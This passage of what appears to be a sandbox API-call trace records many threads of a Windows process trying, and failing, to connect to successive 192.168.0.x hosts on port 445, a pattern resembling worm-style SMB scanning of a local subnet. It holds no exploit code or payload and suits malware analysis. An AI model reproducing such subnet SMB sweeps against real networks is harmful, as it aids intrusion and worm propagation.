out: lpWSAData=0x1e05fdf0) returned 0 [0089.712] socket (af=2, type=1, protocol=0) returned 0x18a0 [0089.712] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.712] htons (hostshort=0x1bd) returned 0xbd01 [0089.712] connect (s=0x18a0, name=0x1e05fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.772] closesocket (s=0x18a0) returned 0 [0110.772] WSACleanup () returned 0 [0110.772] GetCurrentThreadId () returned 0xf3c [0110.772] GetCurrentThreadId () returned 0xf3c [0110.772] GetCurrentThreadId () returned 0xf3c Thread: id = 379 os_tid = 0xf40 [0089.713] GetCurrentThreadId () returned 0xf40 [0089.713] GetCurrentThreadId () returned 0xf40 [0089.713] GetCurrentThreadId () returned 0xf40 [0089.713] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1e19fdf0 | out: lpWSAData=0x1e19fdf0) returned 0 [0089.713] socket (af=2, type=1, protocol=0) returned 0x18ac [0089.713] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.713] htons (hostshort=0x1bd) returned 0xbd01 [0089.713] connect (s=0x18ac, name=0x1e19fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.773] closesocket (s=0x18ac) returned 0 [0110.773] WSACleanup () returned 0 [0110.773] GetCurrentThreadId () returned 0xf40 [0110.773] GetCurrentThreadId () returned 0xf40 [0110.773] GetCurrentThreadId () returned 0xf40 Thread: id = 380 os_tid = 0xf44 [0089.713] GetCurrentThreadId () returned 0xf44 [0089.713] GetCurrentThreadId () returned 0xf44 [0089.713] GetCurrentThreadId () returned 0xf44 [0089.713] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1e2dfdf0 | out: lpWSAData=0x1e2dfdf0) returned 0 [0089.713] socket (af=2, type=1, protocol=0) returned 0x18b8 [0089.714] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.714] htons (hostshort=0x1bd) returned 0xbd01 [0089.714] connect (s=0x18b8, name=0x1e2dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.774] closesocket (s=0x18b8) returned 0 [0110.774] WSACleanup () returned 0 [0110.774] GetCurrentThreadId () returned 0xf44 [0110.774] GetCurrentThreadId () returned 0xf44 [0110.774] GetCurrentThreadId () returned 0xf44 Thread: id = 381 os_tid = 0xf48 [0089.714] GetCurrentThreadId () returned 0xf48 [0089.714] GetCurrentThreadId () returned 0xf48 [0089.714] GetCurrentThreadId () returned 0xf48 [0089.714] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1e41fdf0 | out: lpWSAData=0x1e41fdf0) returned 0 [0089.714] socket (af=2, type=1, protocol=0) returned 0x18c4 [0089.714] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.714] htons (hostshort=0x1bd) returned 0xbd01 [0089.714] connect (s=0x18c4, name=0x1e41fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.775] closesocket (s=0x18c4) returned 0 [0110.775] WSACleanup () returned 0 [0110.775] GetCurrentThreadId () returned 0xf48 [0110.775] GetCurrentThreadId () returned 0xf48 [0110.775] GetCurrentThreadId () returned 0xf48 Thread: id = 382 os_tid = 0xf4c [0089.715] GetCurrentThreadId () returned 0xf4c [0089.715] GetCurrentThreadId () returned 0xf4c [0089.715] GetCurrentThreadId () returned 0xf4c [0089.715] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1e55fdf0 | out: lpWSAData=0x1e55fdf0) returned 0 [0089.715] socket (af=2, type=1, protocol=0) returned 0x18d0 [0089.715] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.715] htons (hostshort=0x1bd) returned 0xbd01 [0089.715] connect (s=0x18d0, name=0x1e55fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.776] closesocket (s=0x18d0) returned 0 [0110.776] WSACleanup () returned 0 [0110.776] GetCurrentThreadId () returned 0xf4c [0110.776] GetCurrentThreadId () returned 0xf4c [0110.776] GetCurrentThreadId () returned 0xf4c Thread: id = 383 os_tid = 0xf50 [0089.715] GetCurrentThreadId () returned 0xf50 [0089.715] GetCurrentThreadId () returned 0xf50 [0089.715] GetCurrentThreadId () returned 0xf50 [0089.715] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1e69fdf0 | out: lpWSAData=0x1e69fdf0) returned 0 [0089.715] socket (af=2, type=1, protocol=0) returned 0x18dc [0089.717] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.717] htons (hostshort=0x1bd) returned 0xbd01 [0089.717] connect (s=0x18dc, name=0x1e69fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.777] closesocket (s=0x18dc) returned 0 [0110.777] WSACleanup () returned 0 [0110.777] GetCurrentThreadId () returned 0xf50 [0110.777] GetCurrentThreadId () returned 0xf50 [0110.777] GetCurrentThreadId () returned 0xf50 Thread: id = 384 os_tid = 0xf54 [0089.717] GetCurrentThreadId () returned 0xf54 [0089.717] GetCurrentThreadId () returned 0xf54 [0089.717] GetCurrentThreadId () returned 0xf54 [0089.717] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1e7dfdf0 | out: lpWSAData=0x1e7dfdf0) returned 0 [0089.717] socket (af=2, type=1, protocol=0) returned 0x18e8 [0089.718] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.718] htons (hostshort=0x1bd) returned 0xbd01 [0089.718] connect (s=0x18e8, name=0x1e7dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.777] closesocket (s=0x18e8) returned 0 [0110.778] WSACleanup () returned 0 [0110.778] GetCurrentThreadId () returned 0xf54 [0110.778] GetCurrentThreadId () returned 0xf54 [0110.778] GetCurrentThreadId () returned 0xf54 Thread: id = 385 os_tid = 0xf58 [0089.718] GetCurrentThreadId () returned 0xf58 [0089.718] GetCurrentThreadId () returned 0xf58 [0089.718] GetCurrentThreadId () returned 0xf58 [0089.718] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1e91fdf0 | out: lpWSAData=0x1e91fdf0) returned 0 [0089.718] socket (af=2, type=1, protocol=0) returned 0x18f4 [0089.718] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.718] htons (hostshort=0x1bd) returned 0xbd01 [0089.718] connect (s=0x18f4, name=0x1e91fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.778] closesocket (s=0x18f4) returned 0 [0110.778] WSACleanup () returned 0 [0110.778] GetCurrentThreadId () returned 0xf58 [0110.779] GetCurrentThreadId () returned 0xf58 [0110.779] GetCurrentThreadId () returned 0xf58 Thread: id = 386 os_tid = 0xf5c [0089.718] GetCurrentThreadId () returned 0xf5c [0089.719] GetCurrentThreadId () returned 0xf5c [0089.719] GetCurrentThreadId () returned 0xf5c [0089.719] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1ea5fdf0 | out: lpWSAData=0x1ea5fdf0) returned 0 [0089.719] socket (af=2, type=1, protocol=0) returned 0x1900 [0089.719] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.719] htons (hostshort=0x1bd) returned 0xbd01 [0089.719] connect (s=0x1900, name=0x1ea5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.779] closesocket (s=0x1900) returned 0 [0110.779] WSACleanup () returned 0 [0110.779] GetCurrentThreadId () returned 0xf5c [0110.779] GetCurrentThreadId () returned 0xf5c [0110.779] GetCurrentThreadId () returned 0xf5c Thread: id = 387 os_tid = 0xf60 [0089.719] GetCurrentThreadId () returned 0xf60 [0089.719] GetCurrentThreadId () returned 0xf60 [0089.719] GetCurrentThreadId () returned 0xf60 [0089.719] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1eb9fdf0 | out: lpWSAData=0x1eb9fdf0) returned 0 [0089.719] socket (af=2, type=1, protocol=0) returned 0x190c [0089.719] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.719] htons (hostshort=0x1bd) returned 0xbd01 [0089.719] connect (s=0x190c, name=0x1eb9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.780] closesocket (s=0x190c) returned 0 [0110.780] WSACleanup () returned 0 [0110.780] GetCurrentThreadId () returned 0xf60 [0110.780] GetCurrentThreadId () returned 0xf60 [0110.780] GetCurrentThreadId () returned 0xf60 Thread: id = 388 os_tid = 0xf64 [0089.720] GetCurrentThreadId () returned 0xf64 [0089.720] GetCurrentThreadId () returned 0xf64 [0089.720] GetCurrentThreadId () returned 0xf64 [0089.720] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1ecdfdf0 | out: lpWSAData=0x1ecdfdf0) returned 0 [0089.720] socket (af=2, type=1, protocol=0) returned 0x1918 [0089.720] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.721] htons (hostshort=0x1bd) returned 0xbd01 [0089.721] connect (s=0x1918, name=0x1ecdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.781] closesocket (s=0x1918) returned 0 [0110.781] WSACleanup () returned 0 [0110.781] GetCurrentThreadId () returned 0xf64 [0110.781] GetCurrentThreadId () returned 0xf64 [0110.781] GetCurrentThreadId () returned 0xf64 Thread: id = 389 os_tid = 0xf68 [0089.721] GetCurrentThreadId () returned 0xf68 [0089.721] GetCurrentThreadId () returned 0xf68 [0089.721] GetCurrentThreadId () returned 0xf68 [0089.721] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1ee1fdf0 | out: lpWSAData=0x1ee1fdf0) returned 0 [0089.721] socket (af=2, type=1, protocol=0) returned 0x1924 [0089.721] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.721] htons (hostshort=0x1bd) returned 0xbd01 [0089.721] connect (s=0x1924, name=0x1ee1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.782] closesocket (s=0x1924) returned 0 [0110.782] WSACleanup () returned 0 [0110.782] GetCurrentThreadId () returned 0xf68 [0110.782] GetCurrentThreadId () returned 0xf68 [0110.782] GetCurrentThreadId () returned 0xf68 Thread: id = 390 os_tid = 0xf6c [0089.721] GetCurrentThreadId () returned 0xf6c [0089.722] GetCurrentThreadId () returned 0xf6c [0089.722] GetCurrentThreadId () returned 0xf6c [0089.722] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1ef5fdf0 | out: lpWSAData=0x1ef5fdf0) returned 0 [0089.722] socket (af=2, type=1, protocol=0) returned 0x1930 [0089.722] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.722] htons (hostshort=0x1bd) returned 0xbd01 [0089.722] connect (s=0x1930, name=0x1ef5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.783] closesocket (s=0x1930) returned 0 [0110.783] WSACleanup () returned 0 [0110.783] GetCurrentThreadId () returned 0xf6c [0110.783] GetCurrentThreadId () returned 0xf6c [0110.783] GetCurrentThreadId () returned 0xf6c Thread: id = 391 os_tid = 0xf70 [0089.722] GetCurrentThreadId () returned 0xf70 [0089.722] GetCurrentThreadId () returned 0xf70 [0089.722] GetCurrentThreadId () returned 0xf70 [0089.722] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1f09fdf0 | out: lpWSAData=0x1f09fdf0) returned 0 [0089.722] socket (af=2, type=1, protocol=0) returned 0x193c [0089.722] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.722] htons (hostshort=0x1bd) returned 0xbd01 [0089.722] connect (s=0x193c, name=0x1f09fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.784] closesocket (s=0x193c) returned 0 [0110.784] WSACleanup () returned 0 [0110.784] GetCurrentThreadId () returned 0xf70 [0110.784] GetCurrentThreadId () returned 0xf70 [0110.784] GetCurrentThreadId () returned 0xf70 Thread: id = 392 os_tid = 0xf74 [0089.723] GetCurrentThreadId () returned 0xf74 [0089.723] GetCurrentThreadId () returned 0xf74 [0089.723] GetCurrentThreadId () returned 0xf74 [0089.723] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1f1dfdf0 | out: lpWSAData=0x1f1dfdf0) returned 0 [0089.723] socket (af=2, type=1, protocol=0) returned 0x1948 [0089.723] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.723] htons (hostshort=0x1bd) returned 0xbd01 [0089.723] connect (s=0x1948, name=0x1f1dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.785] closesocket (s=0x1948) returned 0 [0110.785] WSACleanup () returned 0 [0110.785] GetCurrentThreadId () returned 0xf74 [0110.785] GetCurrentThreadId () returned 0xf74 [0110.785] GetCurrentThreadId () returned 0xf74 Thread: id = 393 os_tid = 0xf78 [0089.723] GetCurrentThreadId () returned 0xf78 [0089.723] GetCurrentThreadId () returned 0xf78 [0089.723] GetCurrentThreadId () returned 0xf78 [0089.723] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1f31fdf0 | out: lpWSAData=0x1f31fdf0) returned 0 [0089.724] socket (af=2, type=1, protocol=0) returned 0x1954 [0089.725] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.725] htons (hostshort=0x1bd) returned 0xbd01 [0089.725] connect (s=0x1954, name=0x1f31fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.786] closesocket (s=0x1954) returned 0 [0110.786] WSACleanup () returned 0 [0110.786] GetCurrentThreadId () returned 0xf78 [0110.786] GetCurrentThreadId () returned 0xf78 [0110.786] GetCurrentThreadId () returned 0xf78 Thread: id = 394 os_tid = 0xf7c [0089.752] GetCurrentThreadId () returned 0xf7c [0089.752] GetCurrentThreadId () returned 0xf7c [0089.752] GetCurrentThreadId () returned 0xf7c [0089.752] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1f45fdf0 | out: lpWSAData=0x1f45fdf0) returned 0 [0089.752] socket (af=2, type=1, protocol=0) returned 0x1988 [0089.753] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0089.753] htons (hostshort=0x1bd) returned 0xbd01 [0089.753] connect (s=0x1988, name=0x1f45fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.185"), namelen=16) returned -1 [0110.874] closesocket (s=0x1988) returned 0 [0110.875] WSACleanup () returned 0 [0110.875] GetCurrentThreadId () returned 0xf7c [0110.875] GetCurrentThreadId () returned 0xf7c [0110.875] GetCurrentThreadId () returned 0xf7c Thread: id = 395 os_tid = 0xf80 [0089.753] GetCurrentThreadId () returned 0xf80 [0089.753] GetCurrentThreadId () returned 0xf80 [0089.753] GetCurrentThreadId () returned 0xf80 [0089.753] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1f59fdf0 | out: lpWSAData=0x1f59fdf0) returned 0 [0089.753] socket (af=2, type=1, protocol=0) returned 0x1994 [0089.753] inet_addr (cp="192.168.0.177") returned 0xb100a8c0 [0089.753] htons (hostshort=0x1bd) returned 0xbd01 [0089.754] connect (s=0x1994, name=0x1f59fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.177"), namelen=16) returned -1 [0110.875] closesocket (s=0x1994) returned 0 [0110.876] WSACleanup () returned 0 [0110.876] GetCurrentThreadId () returned 0xf80 [0110.876] GetCurrentThreadId () returned 0xf80 [0110.876] GetCurrentThreadId () returned 0xf80 Thread: id = 396 os_tid = 0xf84 [0089.893] GetCurrentThreadId () returned 0xf84 [0089.893] GetCurrentThreadId () returned 0xf84 [0089.893] GetCurrentThreadId () returned 0xf84 [0089.893] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1f6dfdf0 | out: lpWSAData=0x1f6dfdf0) returned 0 [0089.893] socket (af=2, type=1, protocol=0) returned 0x19ac [0089.893] inet_addr (cp="192.168.0.186") returned 0xba00a8c0 [0089.893] htons (hostshort=0x1bd) returned 0xbd01 [0089.893] connect (s=0x19ac, name=0x1f6dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.186"), namelen=16) returned -1 [0111.077] closesocket (s=0x19ac) returned 0 [0111.077] WSACleanup () returned 0 [0111.077] GetCurrentThreadId () returned 0xf84 [0111.077] GetCurrentThreadId () returned 0xf84 [0111.077] GetCurrentThreadId () returned 0xf84 Thread: id = 397 os_tid = 0xf88 [0089.894] GetCurrentThreadId () returned 0xf88 [0089.894] GetCurrentThreadId () returned 0xf88 [0089.894] GetCurrentThreadId () returned 0xf88 [0089.894] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1f81fdf0 | out: lpWSAData=0x1f81fdf0) returned 0 [0089.894] socket (af=2, type=1, protocol=0) returned 0x19b8 [0089.894] inet_addr (cp="192.168.0.178") returned 0xb200a8c0 [0089.894] htons (hostshort=0x1bd) returned 0xbd01 [0089.894] connect (s=0x19b8, name=0x1f81fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.178"), namelen=16) returned -1 [0111.078] closesocket (s=0x19b8) returned 0 [0111.078] WSACleanup () returned 0 [0111.078] GetCurrentThreadId () returned 0xf88 [0111.078] GetCurrentThreadId () returned 0xf88 [0111.078] GetCurrentThreadId () returned 0xf88 Thread: id = 398 os_tid = 0xf8c [0089.996] GetCurrentThreadId () returned 0xf8c [0089.996] GetCurrentThreadId () returned 0xf8c [0089.996] GetCurrentThreadId () returned 0xf8c [0089.997] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1f95fdf0 | out: lpWSAData=0x1f95fdf0) returned 0 [0089.997] socket (af=2, type=1, protocol=0) returned 0x19e4 [0089.997] inet_addr (cp="192.168.0.187") returned 0xbb00a8c0 [0089.997] htons (hostshort=0x1bd) returned 0xbd01 [0089.997] connect (s=0x19e4, name=0x1f95fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.187"), namelen=16) returned -1 [0111.467] closesocket (s=0x19e4) returned 0 [0111.467] WSACleanup () returned 0 [0111.467] GetCurrentThreadId () returned 0xf8c [0111.467] GetCurrentThreadId () returned 0xf8c [0111.467] GetCurrentThreadId () returned 0xf8c Thread: id = 399 os_tid = 0xf90 [0089.998] GetCurrentThreadId () returned 0xf90 [0089.998] GetCurrentThreadId () returned 0xf90 [0089.998] GetCurrentThreadId () returned 0xf90 [0089.998] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1fa9fdf0 | out: lpWSAData=0x1fa9fdf0) returned 0 [0089.998] socket (af=2, type=1, protocol=0) returned 0x1a24 [0089.998] inet_addr (cp="192.168.0.179") returned 0xb300a8c0 [0089.998] htons (hostshort=0x1bd) returned 0xbd01 [0089.998] connect (s=0x1a24, name=0x1fa9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.179"), namelen=16) returned -1 [0111.468] closesocket (s=0x1a24) returned 0 [0111.468] WSACleanup () returned 0 [0111.468] GetCurrentThreadId () returned 0xf90 [0111.468] GetCurrentThreadId () returned 0xf90 [0111.468] GetCurrentThreadId () returned 0xf90 Thread: id = 400 os_tid = 0xf94 [0090.067] GetCurrentThreadId () returned 0xf94 [0090.067] GetCurrentThreadId () returned 0xf94 [0090.067] GetCurrentThreadId () returned 0xf94 [0090.067] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1fbdfdf0 | out: lpWSAData=0x1fbdfdf0) returned 0 [0090.067] socket (af=2, type=1, protocol=0) returned 0x1a38 [0090.067] inet_addr (cp="192.168.0.188") returned 0xbc00a8c0 [0090.067] htons (hostshort=0x1bd) returned 0xbd01 [0090.067] connect (s=0x1a38, name=0x1fbdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.188"), namelen=16) returned -1 [0111.469] closesocket (s=0x1a38) returned 0 [0111.469] WSACleanup () returned 0 [0111.469] GetCurrentThreadId () returned 0xf94 [0111.469] GetCurrentThreadId () returned 0xf94 [0111.469] GetCurrentThreadId () returned 0xf94 Thread: id = 401 os_tid = 0xf98 [0090.069] GetCurrentThreadId () returned 0xf98 [0090.069] GetCurrentThreadId () returned 0xf98 [0090.069] GetCurrentThreadId () returned 0xf98 [0090.069] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1fd1fdf0 | out: lpWSAData=0x1fd1fdf0) returned 0 [0090.069] socket (af=2, type=1, protocol=0) returned 0x1a44 [0090.069] inet_addr (cp="192.168.0.180") returned 0xb400a8c0 [0090.069] htons (hostshort=0x1bd) returned 0xbd01 [0090.069] connect (s=0x1a44, name=0x1fd1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.180"), namelen=16) returned -1 [0111.470] closesocket (s=0x1a44) returned 0 [0111.470] WSACleanup () returned 0 [0111.470] GetCurrentThreadId () returned 0xf98 [0111.470] GetCurrentThreadId () returned 0xf98 [0111.470] GetCurrentThreadId () returned 0xf98 Thread: id = 402 os_tid = 0xfa0 [0090.116] GetCurrentThreadId () returned 0xfa0 [0090.116] GetCurrentThreadId () returned 0xfa0 [0090.116] GetCurrentThreadId () returned 0xfa0 [0090.116] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1fe5fdf0 | out: lpWSAData=0x1fe5fdf0) returned 0 [0090.116] socket (af=2, type=1, protocol=0) returned 0x1a58 [0090.116] inet_addr (cp="192.168.0.189") returned 0xbd00a8c0 [0090.116] htons (hostshort=0x1bd) returned 0xbd01 [0090.116] connect (s=0x1a58, name=0x1fe5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.189"), namelen=16) returned -1 [0111.471] closesocket (s=0x1a58) returned 0 [0111.471] WSACleanup () returned 0 [0111.471] GetCurrentThreadId () returned 0xfa0 [0111.471] GetCurrentThreadId () returned 0xfa0 [0111.471] GetCurrentThreadId () returned 0xfa0 Thread: id = 403 os_tid = 0xfa4 [0090.117] GetCurrentThreadId () returned 0xfa4 [0090.117] GetCurrentThreadId () returned 0xfa4 [0090.117] GetCurrentThreadId () returned 0xfa4 [0090.117] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1ff9fdf0 | out: lpWSAData=0x1ff9fdf0) returned 0 [0090.117] socket (af=2, type=1, protocol=0) returned 0x1a64 [0090.117] inet_addr (cp="192.168.0.181") returned 0xb500a8c0 [0090.117] htons (hostshort=0x1bd) returned 0xbd01 [0090.117] connect (s=0x1a64, name=0x1ff9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.181"), namelen=16) returned -1 [0111.472] closesocket (s=0x1a64) returned 0 [0111.472] WSACleanup () returned 0 [0111.472] GetCurrentThreadId () returned 0xfa4 [0111.472] GetCurrentThreadId () returned 0xfa4 [0111.472] GetCurrentThreadId () returned 0xfa4 Thread: id = 404 os_tid = 0xfa8 [0090.252] GetCurrentThreadId () returned 0xfa8 [0090.252] GetCurrentThreadId () returned 0xfa8 [0090.252] GetCurrentThreadId () returned 0xfa8 [0090.252] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x200dfdf0 | out: lpWSAData=0x200dfdf0) returned 0 [0090.252] socket (af=2, type=1, protocol=0) returned 0x1820 [0090.253] inet_addr (cp="192.168.0.190") returned 0xbe00a8c0 [0090.253] htons (hostshort=0x1bd) returned 0xbd01 [0090.253] connect (s=0x1820, name=0x200dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.190"), namelen=16) returned -1 [0111.473] closesocket (s=0x1820) returned 0 [0111.473] WSACleanup () returned 0 [0111.473] GetCurrentThreadId () returned 0xfa8 [0111.473] GetCurrentThreadId () returned 0xfa8 [0111.473] GetCurrentThreadId () returned 0xfa8 Thread: id = 405 os_tid = 0xfac [0090.253] GetCurrentThreadId () returned 0xfac [0090.253] GetCurrentThreadId () returned 0xfac [0090.253] GetCurrentThreadId () returned 0xfac [0090.253] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2021fdf0 | out: lpWSAData=0x2021fdf0) returned 0 [0090.254] socket (af=2, type=1, protocol=0) returned 0x180c [0090.254] inet_addr (cp="192.168.0.182") returned 0xb600a8c0 [0090.254] htons (hostshort=0x1bd) returned 0xbd01 [0090.254] connect (s=0x180c, name=0x2021fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.182"), namelen=16) returned -1 [0111.474] closesocket (s=0x180c) returned 0 [0111.474] WSACleanup () returned 0 [0111.474] GetCurrentThreadId () returned 0xfac [0111.474] GetCurrentThreadId () returned 0xfac [0111.474] GetCurrentThreadId () returned 0xfac Thread: id = 407 os_tid = 0xfb8 [0090.523] GetCurrentThreadId () returned 0xfb8 [0090.523] GetCurrentThreadId () returned 0xfb8 [0090.523] GetCurrentThreadId () returned 0xfb8 [0090.523] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2035fdf0 | out: lpWSAData=0x2035fdf0) returned 0 [0090.523] socket (af=2, type=1, protocol=0) returned 0x19c8 [0090.524] inet_addr (cp="192.168.0.191") returned 0xbf00a8c0 [0090.524] htons (hostshort=0x1bd) returned 0xbd01 [0090.524] connect (s=0x19c8, name=0x2035fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.191"), namelen=16) returned -1 [0111.764] closesocket (s=0x19c8) returned 0 [0111.764] WSACleanup () returned 0 [0111.764] GetCurrentThreadId () returned 0xfb8 [0111.764] GetCurrentThreadId () returned 0xfb8 [0111.764] GetCurrentThreadId () returned 0xfb8 Thread: id = 408 os_tid = 0xfbc [0090.525] GetCurrentThreadId () returned 0xfbc [0090.525] GetCurrentThreadId () returned 0xfbc [0090.525] GetCurrentThreadId () returned 0xfbc [0090.525] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2049fdf0 | out: lpWSAData=0x2049fdf0) returned 0 [0090.525] socket (af=2, type=1, protocol=0) returned 0x1a7c [0090.525] inet_addr (cp="192.168.0.183") returned 0xb700a8c0 [0090.525] htons (hostshort=0x1bd) returned 0xbd01 [0090.525] connect (s=0x1a7c, name=0x2049fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.183"), namelen=16) returned -1 [0111.765] closesocket (s=0x1a7c) returned 0 [0111.765] WSACleanup () returned 0 [0111.765] GetCurrentThreadId () returned 0xfbc [0111.765] GetCurrentThreadId () returned 0xfbc [0111.765] GetCurrentThreadId () returned 0xfbc Thread: id = 409 os_tid = 0xfc0 [0090.641] GetCurrentThreadId () returned 0xfc0 [0090.641] GetCurrentThreadId () returned 0xfc0 [0090.641] GetCurrentThreadId () returned 0xfc0 [0090.641] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x205dfdf0 | out: lpWSAData=0x205dfdf0) returned 0 [0090.642] socket (af=2, type=1, protocol=0) returned 0x1a90 [0090.642] inet_addr (cp="192.168.0.192") returned 0xc000a8c0 [0090.642] htons (hostshort=0x1bd) returned 0xbd01 [0090.642] connect (s=0x1a90, name=0x205dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.192"), namelen=16) returned -1 [0111.765] closesocket (s=0x1a90) returned 0 [0111.766] WSACleanup () returned 0 [0111.766] GetCurrentThreadId () returned 0xfc0 [0111.766] GetCurrentThreadId () returned 0xfc0 [0111.766] GetCurrentThreadId () returned 0xfc0 Thread: id = 410 os_tid = 0xfc4 [0090.643] GetCurrentThreadId () returned 0xfc4 [0090.643] GetCurrentThreadId () returned 0xfc4 [0090.643] GetCurrentThreadId () returned 0xfc4 [0090.643] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2071fdf0 | out: lpWSAData=0x2071fdf0) returned 0 [0090.643] socket (af=2, type=1, protocol=0) returned 0x1a9c [0090.643] inet_addr (cp="192.168.0.184") returned 0xb800a8c0 [0090.643] htons (hostshort=0x1bd) returned 0xbd01 [0090.643] connect (s=0x1a9c, name=0x2071fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.184"), namelen=16) returned -1 [0111.766] closesocket (s=0x1a9c) returned 0 [0111.766] WSACleanup () returned 0 [0111.766] GetCurrentThreadId () returned 0xfc4 [0111.766] GetCurrentThreadId () returned 0xfc4 [0111.766] GetCurrentThreadId () returned 0xfc4 Thread: id = 411 os_tid = 0xfd0 [0090.705] GetCurrentThreadId () returned 0xfd0 [0090.705] GetCurrentThreadId () returned 0xfd0 [0090.705] GetCurrentThreadId () returned 0xfd0 [0090.705] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2085fdf0 | out: lpWSAData=0x2085fdf0) returned 0 [0090.705] socket (af=2, type=1, protocol=0) returned 0x1ab0 [0090.705] inet_addr (cp="192.168.0.193") returned 0xc100a8c0 [0090.705] htons (hostshort=0x1bd) returned 0xbd01 [0090.705] connect (s=0x1ab0, name=0x2085fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.193"), namelen=16) returned -1 [0111.767] closesocket (s=0x1ab0) returned 0 [0111.767] WSACleanup () returned 0 [0111.767] GetCurrentThreadId () returned 0xfd0 [0111.767] GetCurrentThreadId () returned 0xfd0 [0111.767] GetCurrentThreadId () returned 0xfd0 Thread: id = 412 os_tid = 0xfd4 [0090.706] GetCurrentThreadId () returned 0xfd4 [0090.706] GetCurrentThreadId () returned 0xfd4 [0090.706] GetCurrentThreadId () returned 0xfd4 [0090.706] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2099fdf0 | out: lpWSAData=0x2099fdf0) returned 0 [0090.706] socket (af=2, type=1, protocol=0) returned 0x1abc [0090.706] inet_addr (cp="192.168.0.185") returned 0xb900a8c0 [0090.706] htons (hostshort=0x1bd) returned 